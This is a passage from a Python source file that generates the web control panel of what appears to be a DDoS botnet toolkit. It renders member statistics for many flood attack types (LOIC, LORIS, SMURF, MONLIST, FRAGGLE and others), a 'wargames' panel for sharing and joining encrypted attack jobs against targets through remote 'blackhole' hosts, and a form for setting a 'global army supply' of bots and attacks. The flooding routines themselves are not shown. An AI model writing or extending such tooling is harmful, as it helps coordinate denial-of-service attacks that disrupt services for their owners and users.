  1148. grid_ufoack = ''.join(random.sample(grid_ufoack,len(grid_ufoack))) # ufoack (obfuscation)
  1149. grid_uforst = str("2OwgWPTsDw8k6f6sgnGLOw8vAb1PSrs+NkeLNPxEyJO3ahKV0Q==")[0:4] # not uforst present
  1150. grid_uforst = ''.join(random.sample(grid_uforst,len(grid_uforst))) # uforst (obfuscation)
  1151. grid_droper = str("2OwgWPTsDw8k6f6sgnGLOw8vAb1PSrs+NkeLNPxEyJO3ahKV0Q==")[0:4] # not droper present
  1152. grid_droper = ''.join(random.sample(grid_droper,len(grid_droper))) # droper (obfuscation)
  1153. grid_overlap = str("2OwgWPTsDw8k6f6sgnGLOw8vAb1PSrs+NkeLNPxEyJO3ahKV0Q==")[0:4] # not overlap present
  1154. grid_overlap = ''.join(random.sample(grid_overlap,len(grid_overlap))) # overlap (obfuscation)
  1155. grid_pinger = str("2OwgWPTsDw8k6f6sgnGLOw8vAb1PSrs+NkeLNPxEyJO3ahKV0Q==")[0:4] # not pinger present
  1156. grid_pinger = ''.join(random.sample(grid_pinger,len(grid_pinger))) # pinger (obfuscation)
  1157. grid_ufoudp = str("2OwgWPTsDw8k6f6sgnGLOw8vAb1PSrs+NkeLNPxEyJO3ahKV0Q==")[0:4] # not ufoudp present
  1158. grid_ufoudp = ''.join(random.sample(grid_ufoudp,len(grid_ufoudp))) # ufoudp (obfuscation)
  1159. grid_contact = "<a href=javascript:alert('"+str(m[10][0:12])+"');>View</a>" # js contact view (obfuscation)
  1160. try:
  1161. grid_id = m[11] # id (plain id)
  1162. except:
  1163. grid_id = "invalid!"
  1164. elif version == 10: # v0.9
  1165. grid_loris = str("2OwgWPTsDw8k6f6sgnGLOw8vAb1PSrs+NkeLNPxEyJO3ahKV0Q==")[0:4] # not loris present
  1166. grid_loris = ''.join(random.sample(grid_loris,len(grid_loris))) # loris (obfuscation)
  1167. grid_ufosyn = str("2OwgWPTsDw8k6f6sgnGLOw8vAb1PSrs+NkeLNPxEyJO3ahKV0Q==")[0:4] # not ufosyn present
  1168. grid_ufosyn = ''.join(random.sample(grid_ufosyn,len(grid_ufosyn))) # ufosyn (obfuscation)
  1169. grid_spray = str("2OwgWPTsDw8k6f6sgnGLOw8vAb1PSrs+NkeLNPxEyJO3ahKV0Q==")[0:4] # not spray present
  1170. grid_spray = ''.join(random.sample(grid_spray,len(grid_spray))) # spray (obfuscation)
  1171. grid_smurf = str("2OwgWPTsDw8k6f6sgnGLOw8vAb1PSrs+NkeLNPxEyJO3ahKV0Q==")[0:4] # not smurf present
  1172. grid_smurf = ''.join(random.sample(grid_smurf,len(grid_smurf))) # smurf (obfuscation)
  1173. grid_xmas = str("2OwgWPTsDw8k6f6sgnGLOw8vAb1PSrs+NkeLNPxEyJO3ahKV0Q==")[0:4] # not xmas present
  1174. grid_xmas = ''.join(random.sample(grid_xmas,len(grid_xmas))) # xmas (obfuscation)
  1175. grid_nuke = str("2OwgWPTsDw8k6f6sgnGLOw8vAb1PSrs+NkeLNPxEyJO3ahKV0Q==")[0:4] # not nuke present
  1176. grid_nuke = ''.join(random.sample(grid_nuke,len(grid_nuke))) # nuke (obfuscation)
  1177. grid_tachyon = str("2OwgWPTsDw8k6f6sgnGLOw8vAb1PSrs+NkeLNPxEyJO3ahKV0Q==")[0:4] # not tachyon present
  1178. grid_tachyon = ''.join(random.sample(grid_tachyon,len(grid_tachyon))) # tachyon (obfuscation)
  1179. grid_monlist = str("2OwgWPTsDw8k6f6sgnGLOw8vAb1PSrs+NkeLNPxEyJO3ahKV0Q==")[0:4] # not monlist present
  1180. grid_monlist = ''.join(random.sample(grid_monlist,len(grid_monlist))) # monlist (obfuscation)
  1181. grid_fraggle = str("2OwgWPTsDw8k6f6sgnGLOw8vAb1PSrs+NkeLNPxEyJO3ahKV0Q==")[0:4] # not fraggle present
  1182. grid_fraggle = ''.join(random.sample(grid_fraggle,len(grid_fraggle))) # fraggle (obfuscation)
  1183. grid_sniper = str("2OwgWPTsDw8k6f6sgnGLOw8vAb1PSrs+NkeLNPxEyJO3ahKV0Q==")[0:4] # not sniper present
  1184. grid_sniper = ''.join(random.sample(grid_sniper,len(grid_sniper))) # sniper (obfuscation)
  1185. grid_ufoack = str("2OwgWPTsDw8k6f6sgnGLOw8vAb1PSrs+NkeLNPxEyJO3ahKV0Q==")[0:4] # not ufoack present
  1186. grid_ufoack = ''.join(random.sample(grid_ufoack,len(grid_ufoack))) # ufoack (obfuscation)
  1187. grid_uforst = str("2OwgWPTsDw8k6f6sgnGLOw8vAb1PSrs+NkeLNPxEyJO3ahKV0Q==")[0:4] # not uforst present
  1188. grid_uforst = ''.join(random.sample(grid_uforst,len(grid_uforst))) # uforst (obfuscation)
  1189. grid_droper = str("2OwgWPTsDw8k6f6sgnGLOw8vAb1PSrs+NkeLNPxEyJO3ahKV0Q==")[0:4] # not droper present
  1190. grid_droper = ''.join(random.sample(grid_droper,len(grid_droper))) # droper (obfuscation)
  1191. grid_overlap = str("2OwgWPTsDw8k6f6sgnGLOw8vAb1PSrs+NkeLNPxEyJO3ahKV0Q==")[0:4] # not overlap present
  1192. grid_overlap = ''.join(random.sample(grid_overlap,len(grid_overlap))) # overlap (obfuscation)
  1193. grid_pinger = str("2OwgWPTsDw8k6f6sgnGLOw8vAb1PSrs+NkeLNPxEyJO3ahKV0Q==")[0:4] # not pinger present
  1194. grid_pinger = ''.join(random.sample(grid_pinger,len(grid_pinger))) # pinger (obfuscation)
  1195. grid_ufoudp = str("2OwgWPTsDw8k6f6sgnGLOw8vAb1PSrs+NkeLNPxEyJO3ahKV0Q==")[0:4] # not ufoudp present
  1196. grid_ufoudp = ''.join(random.sample(grid_ufoudp,len(grid_ufoudp))) # ufoudp (obfuscation)
  1197. grid_contact = "<a href=javascript:alert('"+str(m[9][0:12])+"');>View</a>" # js contact view (obfuscation)
  1198. try:
  1199. grid_id = m[10] # id (plain id)
  1200. except:
  1201. grid_id = "invalid!"
  1202. else: # no valid version
  1203. pass
  1204. grid_table += "<tr><td align='center'>"+str(grid_nickname)+"</td><td align='center'>"+str(grid_ranking)+"</td><td align='center'>"+str(grid_totalchargo)+"</td><td align='center'>"+str(grid_dorking)+"</td><td align='center'>"+str(grid_transferred)+"</td><td align='center'>"+str(grid_maxchargo)+"</td><td align='center'>"+str(grid_missions)+"</td><td align='center'>"+str(grid_attacks)+"</td><td align='center'>"+str(grid_loic)+"</td><td align='center'>"+str(grid_loris)+"</td><td align='center'>"+str(grid_ufosyn)+"</td><td align='center'>"+str(grid_spray)+"</td><td align='center'>"+str(grid_smurf)+"</td><td align='center'>"+str(grid_xmas)+"</td><td align='center'>"+str(grid_nuke)+"</td><td align='center'>"+str(grid_tachyon)+"</td><td align='center'>"+str(grid_monlist)+"</td><td align='center'>"+str(grid_fraggle)+"</td><td align='center'>"+str(grid_sniper)+"</td><td align='center'>"+str(grid_ufoack)+"</td><td align='center'>"+str(grid_uforst)+"</td><td align='center'>"+str(grid_droper)+"</td><td align='center'>"+str(grid_overlap)+"</td><td align='center'>"+str(grid_pinger)+"</td><td align='center'>"+str(grid_ufoudp)+"</td><td align='center'>"+str(grid_contact)+"</td></tr>"
  1205. else: # not valid stream data
  1206. pass
  1207. grid_table += "</table>"
  1208. if mothership_members == 0:
  1209. mothership_members = "¿?"
  1210. if unknown_members == 0:
  1211. unknown_members = "¿?"
  1212. l = time.ctime(os.path.getmtime(self.grid_file)) # get last modified time
  1213. mother_grid = "<div id='grid_panel_enc' style='display:block'><br><center><u>MOTHERSHIP STATS:</u> (Last Update: <font color='green'>"+str(l)+"</font>)</center><br><table cellpadding='5' cellspacing='5' border='1' align='middle'><tr><td><font color='green'>MEMBERS:</font></td><td align='right'><font color='green'>"+str(mothership_members)+"</font></td><td><font color='orange' size='4'>-</font></td><td><font color='orange'>"+str(unknown_members)+"</font></td><td><font color='white' size='4'>*</font></td><td><font color='white'>¿?</font></td><td><font color='cyan' size='4'>**</font></td><td><font color='cyan'>¿?</font></td><td><font color='blueviolet' size='4'>***</font></td><td><font color='blueviolet'>¿?</font></td><td><font color='blue' size='4'>****</font></td><td><font color='blue'>¿?</font></td><td><font color='red' size='4'>&#x25BC;</font></td><td><font color='red'>¿?</font></td></tr></table><br><table cellpadding='5' cellspacing='5' border='1' align='middle'><tr><tr><td>MISSIONS:</td><td>¿?</td><td>ATTACKS:</td><td>¿?</td><td>CHARGO (ACTIVE!):</td><td>¿?</td><td>DORKING:</td><td>¿?</td><td>TRANSF:</td><td>¿?</td><td>MAX.CHARGO:</td><td>¿?</td></tr></table><br><table cellpadding='5' cellspacing='5' border='1' align='middle'><tr><td>LOIC:</td><td>¿?</td><td>LORIS:</td><td>¿?</td><td>UFOSYN:</td><td>¿?</td><td>SPRAY:</td><td>¿?</td><td>SMURF:</td><td>¿?</td></tr><tr><td>XMAS:</td><td>¿?</td><td>NUKE:</td><td>¿?</td><td>TACHYON:</td><td>¿?</td><td>MONLIST:</td><td>¿?</td></tr><tr><td>FRAGGLE:</td><td>¿?</td><td>SNIPER:</td><td>¿?</td><td>UFOACK:</td><td>¿?</td><td>UFORST:</td><td>¿?</td></tr><tr><td>DROPER:</td><td>¿?</td><td>OVERLAP:</td><td>¿?</td><td>PINGER:</td><td>¿?</td><td>UFOUDP:</td><td>¿?</td></tr></table><br><hr><br>"
  1214. grid_table = mother_grid + grid_table + "</div>"
  1215. return grid_table
  1216. def html_grid(self):
  1217. if self.ranking == "Rookie": # Rookie
  1218. your_ranking = "<font color='white'>Rookie [*]</font>"
  1219. elif self.ranking == "Mercenary": # Mercenary
  1220. your_ranking = "<font color='cyan'>Mercenary [**]</font>"
  1221. elif self.ranking == "Bandit": # Bandit
  1222. your_ranking = "<font color='blueviolet'>Bandit [***]</font>"
  1223. elif self.ranking == "UFOmmander!": # UFOmmander!
  1224. your_ranking = "<font color='blue'>UFOmmander! [****]</font>"
  1225. elif self.ranking == "UFOl33t!": # UFOl33t!
  1226. your_ranking = "<font color='red'>UFOl33t! [&#x25BC;]</font>"
  1227. else:
  1228. your_ranking = "<font color='yellow' size='4'>[-]</font> ( no0b! )" # no0b hacking attempt! ;-)
  1229. if '"grid_token": "NONE"' in open(self.mothership_gridcfg_file).read():
  1230. device_state = "OFF"
  1231. device = "GRID device: <font color='red'>OFF</font><br>"
  1232. else:
  1233. device_state = "ON"
  1234. gridcfg_json_file = open(self.mothership_gridcfg_file, "r") # extract mothership gridcfg
  1235. data = json.load(gridcfg_json_file)
  1236. gridcfg_json_file.close()
  1237. grid_token = data["grid_token"]
  1238. grid_contact = data["grid_contact"]
  1239. grid_contact.encode('utf-8')
  1240. grid_nick = data["grid_nick"]
  1241. grid_nick.encode('utf-8')
  1242. device = "<table cellpadding='5'><tr><td> -CONTACT: "+str(grid_contact)+"</td></tr><tr><td> -NICKNAME: "+str(grid_nick)+"</td></tr><tr><td> -RANKING: "+str(your_ranking)+"</td></tr><tr><td> -ID: "+str(grid_token)+"</td></tr></table>"
  1243. if device_state == "OFF":
  1244. grid_panel = ""
  1245. else:
  1246. grid_table = self.generate_grid()
  1247. grid_panel = grid_table + "<br><div id='cmdOut'></div><br></center><center>"
  1248. if device_state == "OFF":
  1249. dec_panel = ""
  1250. else:
  1251. dec_panel = "<table cellpading='5' cellspacing='10'><tr><td><form method='GET'>Your key: <input type='text' name='grid_key' id='grid_key' size='20' value='"+ str(self.crypto_key) +"'></td><td><a style='color:red;text-decoration:underline red;' onclick=javascript:Decrypt_grid();>Try decryption!</a></form></td></tr></table>"
  1252. if device_state == "OFF":
  1253. sync_panel = ""
  1254. else:
  1255. sync_panel = "<table cellpadding='2' cellspacing='2'><tr><td><table cellpadding='5' cellspacing='5'><tr><td>Blackhole/IP:</td><td><input type='text' name='grid_source' id='grid_source' size='20' value='"+default_blackhole+"'></td></tr></table></td><td><button title='Search for records on that blackhole...' onclick='SyncGrid()' style='color:yellow; height:40px; width:200px; font-weight:bold; background-color:red; border: 2px solid yellow;'>Sync device...</button></td></tr></table><hr>"
  1256. if device_state == "OFF":
  1257. transfer_panel = ""
  1258. else:
  1259. transfer_panel = "<form method='GET'><table cellpadding='5' cellspacing='5'><tr><td><table cellpadding='5' cellspacing='5'><tr><td>Blackhole/IP:</td><td><input type='text' name='grid_source_upload' id='grid_source_upload' size='20' value='"+default_blackhole+"'></td></tr><tr><td>Key (encryption):</td><td><input type='text' name='grid_key_upload' id='grid_key_upload' size='20' value='"+ str(self.crypto_key) +"'></td></tr></table></td><td><button title='Upload stats of your mothership to the Grid of that blackhole...' onclick='TransferGrid()' style='color:yellow; height:40px; width:200px; font-weight:bold; background-color:red; border: 2px solid yellow;'>Transfer data...</button></td></tr></table></form><hr>"
  1260. if device_state == "OFF":
  1261. remove_grid = ""
  1262. else:
  1263. remove_grid = '| <button title="Review your mothership stats..." onclick="Stats()">STATS!</button> | <button title="Syncronize data from a blackhole/grid with your device..." onclick="Sync_panel()">DOWNLOAD!</button> | <button title="Decrypt data with a specific key..." onclick="Decryption_panel()">DECRYPT!</button> | <button title="Send your data to a global blackhole/grid..." onclick="Transfer_panel()">UPLOAD!</button> | <button title="Remove your profile and turn OFF this device..." onclick="RemoveGrid()">TURN OFF!</button>'
  1264. return self.pages["/header"] + """<script language="javascript">
  1265. function GridProfile() {
  1266. var win_grid_profile = window.open("grid_profile","_parent","fullscreen=no, titlebar=yes, top=180, left=320, width=720, height=460, resizable=yes", false);
  1267. }
  1268. function RemoveGrid() {
  1269. var win_grid_profile = window.open("grid_remove","_parent","fullscreen=no, titlebar=yes, top=180, left=320, width=720, height=460, resizable=yes", false);
  1270. }
  1271. function Stats() {
  1272. var win_grid_profile = window.open("stats","_parent","fullscreen=no, titlebar=yes, top=180, left=320, width=720, height=460, resizable=yes", false);
  1273. }
  1274. function Sync_panel(){
  1275. document.getElementById("sync_panel_block").style.display = "block";
  1276. document.getElementById("dec_panel").style.display = "none";
  1277. document.getElementById("transfer_panel").style.display = "none";
  1278. }
  1279. function SyncGrid(){
  1280. grid_source=document.getElementById("grid_source").value
  1281. if(grid_source == "") {
  1282. window.alert("You need to enter a valid IP (with a 'blackhole' listening on).");
  1283. return
  1284. }else{
  1285. params="grid_source="+escape(grid_source)
  1286. runCommandX("cmd_sync_grid",params)
  1287. setTimeout("location.reload()", 10000)
  1288. }
  1289. }
  1290. function Transfer_panel(){
  1291. document.getElementById("transfer_panel").style.display = "block";
  1292. document.getElementById("sync_panel_block").style.display = "none";
  1293. document.getElementById("dec_panel").style.display = "none";
  1294. }
  1295. function TransferGrid() {
  1296. grid_source=document.getElementById("grid_source_upload").value
  1297. grid_key=document.getElementById("grid_key_upload").value
  1298. if(grid_source == "") {
  1299. window.alert("You need to enter a valid IP (with a 'blackhole' listening on).");
  1300. return
  1301. }else{
  1302. if(grid_key == "") {
  1303. window.alert("You need to enter a valid key (provided by someone)");
  1304. return
  1305. }else{
  1306. params="grid_source="+escape(grid_source)+"&grid_key="+escape(grid_key)
  1307. runCommandX("cmd_transfer_grid",params)
  1308. setTimeout("location.reload()", 10000)
  1309. }
  1310. }
  1311. }
  1312. function Decryption_panel(){
  1313. document.getElementById("dec_panel").style.display = "block";
  1314. document.getElementById("transfer_panel").style.display = "none";
  1315. document.getElementById("sync_panel_block").style.display = "none";
  1316. }
  1317. function Decrypt_grid(){
  1318. grid_key=document.getElementById("grid_key").value
  1319. if(grid_key == "") {
  1320. window.alert("You need to enter a valid key (provided by someone)");
  1321. return
  1322. }else{
  1323. params="grid_key="+escape(grid_key)
  1324. runCommandX("cmd_decrypt_grid",params)
  1325. panel_enc = document.getElementById("grid_panel_enc").style.display
  1326. if(panel_enc == "block"){
  1327. panel_enc = document.getElementById("grid_panel_enc").style.display = 'none';
  1328. }
  1329. }
  1330. }
  1331. function GridFilter(filter, key){
  1332. params="filter="+escape(filter)+"&key="+escape(key)
  1333. runCommandX("cmd_grid_filter", params)
  1334. setTimeout("Decrypt_grid()", 2000)
  1335. }
  1336. </script>
  1337. </head><body bgcolor="black" text="yellow" style="font-family: Courier, 'Courier New', monospace;" onload="start()" onresize="resize()" onorientationchange="resize()" onmousedown="context.fillStyle='rgba(0,0,0,'+opacity+')'" onmouseup="context.fillStyle='rgb(0,0,0)'">
  1338. <canvas id="starfield" style="z-index:-1; background-color:#000000; position:fixed; top:0; left:0;"></canvas>
  1339. <br><center>
  1340. <table cellpadding="5" cellspacing="5"><tr>
  1341. <td><a href="javascript:alert('7337-VH13 says: """ + self.ranking + """... Welcome to the Crypto-Grid!. A good place to represent our Federation.');"><img src='data:image/png;base64,"""+self.alien6_img+"""'></a></td><td>
  1342. <table cellpading="5" cellspacing="10"><tr><td>"""+device+"""<br><button title="Set your profile for this device..." onclick="GridProfile()">CONFIGURE!</button> """+remove_grid+"""</td></tr></table></tr></table>
  1343. <hr><div id='sync_panel_block' name='sync_panel_block' style='display:none;'>"""+sync_panel+"""</div><div id='transfer_panel' name='transfer_panel' style='display:none;'>"""+transfer_panel+"""</div><div id="dec_panel" style="display:none;">"""+dec_panel+"""<hr></div>"""+grid_panel+"""
  1344. """ + self.pages["/footer"]
  1345. def generate_wargames(self):
  1346. with open(self.wargames_file) as f:
  1347. for line in f:
  1348. line = line.strip()
  1349. f.close()
  1350. wargames_table = "<table cellpadding='5' cellspacing='5' border='1'><tr><td align='center'><u>CREATION:</u></td><td align='center'><u>TARGET:</u></td><td align='center'><u>DATE:</u></td><td align='center'><u>ETA:</u></td><td align='center'><u>STATUS:</u></td></tr>"
  1351. for m in self.list_wargames: # list = creation, target, estimated
  1352. if wargames_msg_sep in m:
  1353. m = m.split(wargames_msg_sep)
  1354. wargame_creation = m[0][0:12] # creation date
  1355. wargame_creation = ''.join(random.sample(wargame_creation,len(wargame_creation))) # creation date (obfuscation)
  1356. wargame_target = m[1][0:12] # target (obfuscation)
  1357. wargame_target = ''.join(random.sample(wargame_target,len(wargame_target))) # target (obfuscation)
  1358. wargame_estimated = m[2][0:12] # estimated date
  1359. wargame_estimated = ''.join(random.sample(wargame_estimated,len(wargame_estimated))) # estimated date (obfuscation)
  1360. wargame_state = str("HSvtfBFwQBSms8h/7Ra/tKGNYp7KqiiNeOMPzDmrChJqyBJ+yuRiHpY9H+/LDQ==")[0:12] # state ("ENCRYPTED!")
  1361. wargame_state = ''.join(random.sample(wargame_state,len(wargame_state))) # state (obfuscation)
  1362. wargame_status = wargame_state # status (obfuscated like state)
  1363. wargames_table += "<tr><td align='center'>"+str(wargame_creation)+"</td><td align='center'>"+str(wargame_target)+"</td><td align='center'>"+str(wargame_estimated)+"</td><td align='center'>"+str(wargame_state)+"</td><td align='center'>"+str(wargame_status)+"</td></tr>"
  1364. wargames_table += "</table>"
  1365. mother_wargame = "<div id='wargames_panel_enc' style='display:block'>"
  1366. wargames_table = mother_wargame + wargames_table + "</div>"
  1367. return wargames_table
  1368. def html_wargames(self):
  1369. l = time.ctime(os.path.getmtime(self.wargames_file)) # get last modified time
  1370. now = strftime("%d-%m-%Y %H:%M:%S", gmtime())
  1371. wargames_table = self.generate_wargames()
  1372. return self.pages["/header"] + """<script language="javascript">
  1373. function Decrypt_wargames(){
  1374. wargames_deckey=document.getElementById("wargames_deckey").value
  1375. if(wargames_deckey == "") {
  1376. window.alert("You need to enter a valid key (provided by someone)");
  1377. return
  1378. }else{
  1379. params="wargames_deckey="+escape(wargames_deckey)
  1380. runCommandX("cmd_decrypt_wargames",params)
  1381. panel_enc = document.getElementById("wargames_panel_enc").style.display
  1382. if(panel_enc == "block"){
  1383. panel_enc = document.getElementById("wargames_panel_enc").style.display = 'none';
  1384. }
  1385. }
  1386. }
  1387. function SyncWargames(){
  1388. wargames_source=document.getElementById("wargames_source").value
  1389. if(wargames_source == "") {
  1390. window.alert("You need to enter a valid IP (with a 'blackhole' listening on).");
  1391. return
  1392. }else{
  1393. params="wargames_source="+escape(wargames_source)
  1394. runCommandX("cmd_sync_wargames",params)
  1395. setTimeout("location.reload()", 10000)
  1396. }
  1397. }
  1398. function Send() {
  1399. wargames_source2=document.getElementById("wargames_source2").value
  1400. wargames_enckey=document.getElementById("wargames_enckey").value
  1401. wargames_target=document.getElementById("wargames_target").value
  1402. wargames_estimated=document.getElementById("wargames_estimated").value
  1403. if(wargames_source2 == "") {
  1404. window.alert("You need to enter a valid IP (with a 'blackhole' listening on).");
  1405. return
  1406. }else{
  1407. if(wargames_enckey == "") {
  1408. window.alert("You need to enter a valid key (provided by someone)");
  1409. return
  1410. }else{
  1411. params="wargames_source2="+escape(wargames_source2)+"&wargames_enckey="+escape(wargames_enckey)+"&wargames_target="+escape(wargames_target)+"&wargames_estimated="+escape(wargames_estimated)
  1412. runCommandX("cmd_transfer_wargame",params)
  1413. setTimeout("location.reload()", 10000)
  1414. }
  1415. }
  1416. }
  1417. function JobRemove(id) {
  1418. params="id="+escape(id)
  1419. runCommandX("cmd_job_remove",params)
  1420. setTimeout("Decrypt_wargames()", 2000)
  1421. }
  1422. function JobAdd(id) {
  1423. params="id="+escape(id)
  1424. runCommandX("cmd_job_add", params)
  1425. setTimeout("Decrypt_wargames()", 2000)
  1426. }
  1427. function JobAddAll() {
  1428. runCommandX("cmd_job_add_all")
  1429. setTimeout("Decrypt_wargames()", 2000)
  1430. }
  1431. function JobCancel(id) {
  1432. params="id="+escape(id)
  1433. runCommandX("cmd_job_cancel", params)
  1434. setTimeout("Decrypt_wargames()", 2000)
  1435. }
  1436. function JobRemoveAll(key) {
  1437. params="key="+escape(key)
  1438. runCommandX("cmd_job_remove_all", params)
  1439. setTimeout("Decrypt_wargames()", 2000)
  1440. }
  1441. function JobCancelAll() {
  1442. runCommandX("cmd_job_cancel_all")
  1443. setTimeout("Decrypt_wargames()", 2000)
  1444. }
  1445. function JobFilter(filter, key) {
  1446. params="filter="+escape(filter)+"&key="+escape(key)
  1447. runCommandX("cmd_job_filter", params)
  1448. setTimeout("Decrypt_wargames()", 2000)
  1449. }
  1450. function EditSupply(){
  1451. if(document.getElementById("supply_edit").value == "EDIT"){
  1452. document.getElementById("supply_botnet").readOnly = false;
  1453. document.getElementById("supply_loic").readOnly = false;
  1454. document.getElementById("supply_loris").readOnly = false;
  1455. document.getElementById("supply_ufosyn").readOnly = false;
  1456. document.getElementById("supply_spray").readOnly = false;
  1457. document.getElementById("supply_smurf").readOnly = false;
  1458. document.getElementById("supply_xmas").readOnly = false;
  1459. document.getElementById("supply_nuke").readOnly = false;
  1460. document.getElementById("supply_tachyon").readOnly = false;
  1461. document.getElementById("supply_monlist").readOnly = false;
  1462. document.getElementById("supply_fraggle").readOnly = false;
  1463. document.getElementById("supply_sniper").readOnly = false;
  1464. document.getElementById("supply_ufoack").readOnly = false;
  1465. document.getElementById("supply_uforst").readOnly = false;
  1466. document.getElementById("supply_droper").readOnly = false;
  1467. document.getElementById("supply_overlap").readOnly = false;
  1468. document.getElementById("supply_pinger").readOnly = false;
  1469. document.getElementById("supply_ufoudp").readOnly = false;
  1470. document.getElementById("supply_edit").title = "Set global army supply..."
  1471. document.getElementById("supply_edit").value = "SET"
  1472. document.getElementById("supply_edit").innerHTML = "SET!"
  1473. }else{
  1474. supply_botnet=document.getElementById("supply_botnet").value
  1475. supply_loic=document.getElementById("supply_loic").value
  1476. supply_loris=document.getElementById("supply_loris").value
  1477. supply_ufosyn=document.getElementById("supply_ufosyn").value
  1478. supply_spray=document.getElementById("supply_spray").value
  1479. supply_smurf=document.getElementById("supply_smurf").value
  1480. supply_xmas=document.getElementById("supply_xmas").value
  1481. supply_nuke=document.getElementById("supply_nuke").value
  1482. supply_tachyon=document.getElementById("supply_tachyon").value
  1483. supply_monlist=document.getElementById("supply_monlist").value
  1484. supply_fraggle=document.getElementById("supply_fraggle").value
  1485. supply_sniper=document.getElementById("supply_sniper").value
  1486. supply_ufoack=document.getElementById("supply_ufoack").value
  1487. supply_uforst=document.getElementById("supply_uforst").value
  1488. supply_droper=document.getElementById("supply_droper").value
  1489. supply_overlap=document.getElementById("supply_overlap").value
  1490. supply_pinger=document.getElementById("supply_pinger").value
  1491. supply_ufoudp=document.getElementById("supply_ufoudp").value
  1492. if(isNaN(parseFloat(supply_botnet)) || parseFloat(supply_botnet) < 0) {
  1493. window.alert("You need to enter a valid BOTNET supply number (int>=0)");
  1494. return
  1495. }else{
  1496. if(isNaN(parseFloat(supply_loic)) || parseFloat(supply_loic) < 0) {
  1497. window.alert("You need to enter a valid LOIC supply number (int>=0)");
  1498. return
  1499. }else{
  1500. if(isNaN(parseFloat(supply_loris)) || parseFloat(supply_loris) < 0) {
  1501. window.alert("You need to enter a valid LORIS supply number (int>=0)");
  1502. return
  1503. }else{
  1504. if(isNaN(parseFloat(supply_ufosyn)) || parseFloat(supply_ufosyn) < 0) {
  1505. window.alert("You need to enter a valid UFOSYN supply number (int>=0)");
  1506. return
  1507. }else{
  1508. if(isNaN(parseFloat(supply_spray)) || parseFloat(supply_spray) < 0) {
  1509. window.alert("You need to enter a valid SPRAY supply number (int>=0)");
  1510. return
  1511. }else{
  1512. if(isNaN(parseFloat(supply_smurf)) || parseFloat(supply_smurf) < 0) {
  1513. window.alert("You need to enter a valid SMURF supply number (int>=0)");
  1514. return
  1515. }else{
  1516. if(isNaN(parseFloat(supply_xmas)) || parseFloat(supply_xmas) < 0) {
  1517. window.alert("You need to enter a valid XMAS supply number (int>=0)");
  1518. return
  1519. }else{
  1520. if(isNaN(parseFloat(supply_nuke)) || parseFloat(supply_nuke) < 0) {
  1521. window.alert("You need to enter a valid NUKE supply number (int>=0)");
  1522. return
  1523. }else{
  1524. if(isNaN(parseFloat(supply_tachyon)) || parseFloat(supply_tachyon) < 0) {
  1525. window.alert("You need to enter a valid TACHYON supply number (int>=0)");
  1526. return
  1527. }else{
  1528. if(isNaN(parseFloat(supply_monlist)) || parseFloat(supply_monlist) < 0) {
  1529. window.alert("You need to enter a valid MONLIST supply number (int>=0)");
  1530. return
  1531. }else{
  1532. if(isNaN(parseFloat(supply_fraggle)) || parseFloat(supply_fraggle) < 0) {
  1533. window.alert("You need to enter a valid FRAGGLE supply number (int>=0)");
  1534. return
  1535. }else{
  1536. if(isNaN(parseFloat(supply_sniper)) || parseFloat(supply_sniper) < 0) {
  1537. window.alert("You need to enter a valid SNIPER supply number (int>=0)");
  1538. return
  1539. }else{
  1540. if(isNaN(parseFloat(supply_ufoack)) || parseFloat(supply_ufoack) < 0) {
  1541. window.alert("You need to enter a valid UFOACK supply number (int>=0)");
  1542. return
  1543. }else{
  1544. if(isNaN(parseFloat(supply_uforst)) || parseFloat(supply_uforst) < 0) {
  1545. window.alert("You need to enter a valid UFORST supply number (int>=0)");
  1546. return
  1547. }else{
  1548. if(isNaN(parseFloat(supply_droper)) || parseFloat(supply_droper) < 0) {
  1549. window.alert("You need to enter a valid DROPER supply number (int>=0)");
  1550. return
  1551. }else{
  1552. if(isNaN(parseFloat(supply_overlap)) || parseFloat(supply_overlap) < 0) {
  1553. window.alert("You need to enter a valid OVERLAP supply number (int>=0)");
  1554. return
  1555. }else{
  1556. if(isNaN(parseFloat(supply_pinger)) || parseFloat(supply_pinger) < 0) {
  1557. window.alert("You need to enter a valid PINGER supply number (int>=0)");
  1558. return
  1559. }else{
  1560. if(isNaN(parseFloat(supply_ufoudp)) || parseFloat(supply_ufoudp) < 0) {
  1561. window.alert("You need to enter a valid UFOUDP supply number (int>=0)");
  1562. return
  1563. }else{
  1564. document.getElementById("supply_botnet").readOnly = true;
  1565. document.getElementById("supply_loic").readOnly = true;
  1566. document.getElementById("supply_loris").readOnly = true;
  1567. document.getElementById("supply_ufosyn").readOnly = true;
  1568. document.getElementById("supply_spray").readOnly = true;
  1569. document.getElementById("supply_smurf").readOnly = true;
  1570. document.getElementById("supply_xmas").readOnly = true;
  1571. document.getElementById("supply_nuke").readOnly = true;
  1572. document.getElementById("supply_tachyon").readOnly = true;
  1573. document.getElementById("supply_monlist").readOnly = true;
  1574. document.getElementById("supply_fraggle").readOnly = true;
  1575. document.getElementById("supply_sniper").readOnly = true;
  1576. document.getElementById("supply_ufoack").readOnly = true;
  1577. document.getElementById("supply_uforst").readOnly = true;
  1578. document.getElementById("supply_droper").readOnly = true;
  1579. document.getElementById("supply_overlap").readOnly = true;
  1580. document.getElementById("supply_pinger").readOnly = true;
  1581. document.getElementById("supply_ufoudp").readOnly = true;
  1582. document.getElementById("supply_edit").title = "Edit global army supply..."
  1583. document.getElementById("supply_edit").value = "EDIT"
  1584. document.getElementById("supply_edit").innerHTML = "EDIT"
  1585. params="botnet="+escape(supply_botnet)+"&loic="+escape(supply_loic)+"&loris="+escape(supply_loris)+"&ufosyn="+escape(supply_ufosyn)+"&spray="+escape(supply_spray)+"&smurf="+escape(supply_smurf)+"&xmas="+escape(supply_xmas)+"&nuke="+escape(supply_nuke)+"&tachyon="+escape(supply_tachyon)+"&monlist="+escape(supply_monlist)+"&fraggle="+escape(supply_fraggle)+"&sniper="+escape(supply_sniper)+"&ufoack="+escape(supply_ufoack)+"&uforst="+escape(supply_uforst)+"&droper="+escape(supply_droper)+"&overlap="+escape(supply_overlap)+"&pinger="+escape(supply_pinger)+"&ufoudp="+escape(supply_ufoudp)
  1586. runCommandX("cmd_edit_supply",params)
  1587. setTimeout("Decrypt_wargames()", 2000)
  1588. }
  1589. }
  1590. }
  1591. }
  1592. }
  1593. }
  1594. }
  1595. }
  1596. }
  1597. }
  1598. }
  1599. }
  1600. }
  1601. }
  1602. }
  1603. }
  1604. }
  1605. }
  1606. }
  1607. }
  1608. </script>
